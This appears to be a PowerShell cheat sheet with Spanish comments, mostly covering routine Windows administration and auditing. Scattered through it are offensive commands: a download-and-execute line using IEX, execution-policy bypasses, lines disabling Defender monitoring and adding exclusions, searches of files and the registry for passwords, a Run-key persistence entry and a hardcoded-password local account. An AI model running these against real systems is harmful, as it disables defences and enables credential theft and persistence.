Get-ComputerInfo | Select-Object CsName, WindowsVersion, OsBuildNumber, OsTotalVisibleMemorySize

$PSVersionTable.PSVersion

(Get-Host).Version

Get-CimInstance Win32_BIOS | Select-Object Manufacturer, SMBIOSBIOSVersion, ReleaseDate

Get-Date -Format 'yyyy-MM-dd_HH-mm-ss'

Measure-Command { Get-ChildItem C:\ -Recurse } | Select-Object TotalSeconds

Get-Process | Sort-Object CPU -Descending | Select-Object -First 10 Name, CPU, WorkingSet, Id

Stop-Process -Name 'notepad' -Force

Start-Process powershell.exe -ArgumentList '-NoProfile -Command whoami' -Verb RunAs

Get-Service | Where-Object {$_.Status -eq 'Stopped'} | Select-Object Name, DisplayName

Restart-Service -Name 'Spooler' -Force

Get-ScheduledTask | Where-Object {$_.State -eq 'Ready'} | Select-Object TaskName, TaskPath

Get-ChildItem C:\Users -Recurse -Hidden -Filter '*.ps1' -ErrorAction SilentlyContinue

Get-Content C:\Windows\System32\drivers\etc\hosts | Where-Object {$_ -notmatch '^#'}

Add-Content -Path C:\logs\audit.log -Value "$(Get-Date) - Cambio aplicado"

Copy-Item -Path C:\Config -Destination \\Server\Backup\$(Get-Date -Format 'yyyyMMdd') -Recurse

Remove-Item -Path C:\Temp\* -Recurse -Force -ErrorAction SilentlyContinue

Select-String -Pattern 'password|passwd|secret' -Path C:\inetpub\* -Recurse -CaseSensitive:$false

Get-Acl -Path C:\SecretFolder | Format-List

if (Test-Path 'C:\Config\app.conf') { Write-Host 'Existe' } else { Write-Host 'No encontrado' }

Test-NetConnection -ComputerName 192.168.1.1 -Port 445

Get-NetIPAddress -AddressFamily IPv4 | Where-Object {$_.InterfaceAlias -notlike '*Loopback*'}

Get-NetTCPConnection -State Established | Select-Object LocalAddress,LocalPort,RemoteAddress,RemotePort,OwningProcess | Sort-Object RemoteAddress

Resolve-DnsName -Name microsoft.com -Type MX

Invoke-WebRequest -Uri 'https://api.ipify.org' -UseBasicParsing | Select-Object -ExpandProperty Content

Get-NetRoute -AddressFamily IPv4 | Where-Object {$_.NextHop -ne '0.0.0.0'} | Sort-Object RouteMetric

Get-NetFirewallRule | Where-Object {$_.Enabled -eq 'True' -and $_.Action -eq 'Allow' -and $_.Direction -eq 'Inbound'} | Select-Object DisplayName, Profile

Get-LocalUser | Where-Object {$_.Enabled -eq $true} | Select-Object Name, LastLogon, PasswordLastSet

Get-LocalGroupMember -Group 'Administrators' | Select-Object Name, ObjectClass, PrincipalSource

& whoami /priv | Select-String 'Enabled'

Get-ADUser -Filter {PasswordNeverExpires -eq $true} -Properties PasswordNeverExpires | Select-Object SamAccountName, Enabled

Get-ADGroupMember 'Domain Admins' -Recursive | Get-ADUser | Select-Object SamAccountName, Enabled, LastLogonDate

$pass = ConvertTo-SecureString "P@ssw0rd!" -AsPlainText -Force
New-LocalUser -Name "helpdesk" -Password $pass -PasswordNeverExpires

Get-Item 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion' | Select-Object -ExpandProperty Property

Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'

Set-ItemProperty 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'MyApp' -Value 'C:\app.exe'

Get-ChildItem 'HKCU:\SOFTWARE\' -Recurse -ErrorAction SilentlyContinue | Where-Object {$_.Name -like '*password*'}

Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4625} -MaxEvents 20 | Select-Object TimeCreated, Message

$cred = New-Object PSCredential("domain\user", (ConvertTo-SecureString "P@ss!" -AsPlainText -Force))

$cred = Get-Credential -Message "Credenciales de administrador"
Invoke-Command -ComputerName Server01 -Credential $cred -ScriptBlock { hostname }

Invoke-Command -ComputerName 'Server01','Server02' -ScriptBlock { Get-Service Spooler } -Credential $cred

Enter-PSSession -ComputerName 10.10.10.5 -Credential (Get-Credential)

Get-MpComputerStatus | Select-Object AntivirusEnabled, RealTimeProtectionEnabled, AntispywareSignatureLastUpdated

Set-MpPreference -ExclusionPath 'C:\Tools' -ExclusionExtension '.ps1'

Get-LocalGroupMember -Group 'Administrators'

# Solo en laboratorios autorizados:
IEX (New-Object Net.WebClient).DownloadString('http://LAB-SERVER/script.ps1')

# Revisar ambas hives:
'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run','HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' | ForEach-Object { Get-ItemProperty $_ }

@(22,80,443,445,3389,5985) | ForEach-Object {
  $r = Test-NetConnection 192.168.1.1 -Port $_ -WarningAction SilentlyContinue
  [PSCustomObject]@{Port=$_;Open=$r.TcpTestSucceeded}
}

Get-SmbShare | Select-Object Name, Path, Description, CurrentUsers

Get-HotFix | Sort-Object InstalledOn -Descending | Select-Object -First 15 HotFixID, InstalledOn, Description

# Alternativas de bypass:
Set-ExecutionPolicy Bypass -Scope Process -Force
powershell -ep bypass -c "IEX (Get-Content script.ps1 -Raw)"

Get-ChildItem C:\ -Recurse -Include *.txt,*.xml,*.config,*.ini -ErrorAction SilentlyContinue | Select-String -Pattern 'password|passwd|pwd' -CaseSensitive:$false

# SOLO EN LABS AUTORIZADOS:
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableBehaviorMonitoring $true

Get-Service | Where-Object {$_.Status -eq 'Stopped'} | ForEach-Object { Write-Host "Iniciando: $($_.Name)"; Start-Service $_ }

Get-Process | Where-Object {$_.WorkingSet -gt 100MB} | Select-Object Name, @{N='RAM_MB';E={[math]::Round($_.WorkingSet/1MB,2)}}

Get-Process | Select-Object Name, @{N='CPU_Pct';E={$_.CPU}}, @{N='RAM_MB';E={[math]::Round($_.WorkingSet/1MB,1)}} | Sort-Object CPU_Pct -Descending

Get-Process | Select-Object Name, Id, CPU, WorkingSet | Export-Csv -Path C:\Reports\procs_$(Get-Date -Format yyyyMMdd).csv -NoTypeInformation

$data = Invoke-RestMethod -Uri "https://api.example.com/data"
$data | ConvertTo-Json -Depth 5 | Out-File result.json

try {
  Get-Item 'C:\nonexistent' -ErrorAction Stop
} catch [System.IO.FileNotFoundException] {
  Write-Warning "Archivo no encontrado: $_"
} finally {
  Write-Host 'Operación completada'
}

$jobs = 1..10 | ForEach-Object { Start-Job -ScriptBlock { Start-Sleep 5; hostname } }
$jobs | Wait-Job | Receive-Job

Write-Host "[INFO] Iniciando..." -ForegroundColor Cyan
Write-Warning "Archivo no encontrado"
Write-Error "Error crítico" -ErrorAction Stop

$s = New-PSSession -ComputerName Server01 -Credential (Get-Credential)
Invoke-Command -Session $s -ScriptBlock { Get-Process }
Remove-PSSession $s

Get-CimInstance -ClassName Win32_LogicalDisk -Filter "DriveType=3" | Select-Object DeviceID, @{N='FreeGB';E={[math]::Round($_.FreeSpace/1GB,2)}}, @{N='TotalGB';E={[math]::Round($_.Size/1GB,2)}}

# Crear proceso remoto via WMI (requiere admin):
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine='notepad.exe'} -ComputerName Server01

Enable-PSRemoting -Force
Set-Item WSMan:\localhost\Client\TrustedHosts -Value '*' -Force  # Cuidado en producción

Get-Process | Sort-Object CPU -Descending | Select-Object -First 10 | Format-Table Name, Id, CPU, WorkingSet -AutoSize

Get-Process | Out-GridView -Title 'Selecciona proceso' -OutputMode Single | Stop-Process

Get-EventLog System -Newest 100 | Tee-Object -FilePath events.txt | Where-Object EntryType -eq 'Error'

Get-ChildItem C:\ -Recurse -File -ErrorAction SilentlyContinue | Measure-Object -Property Length -Sum -Average -Maximum | Select-Object Count, @{N='TotalMB';E={[math]::Round($_.Sum/1MB,2)}}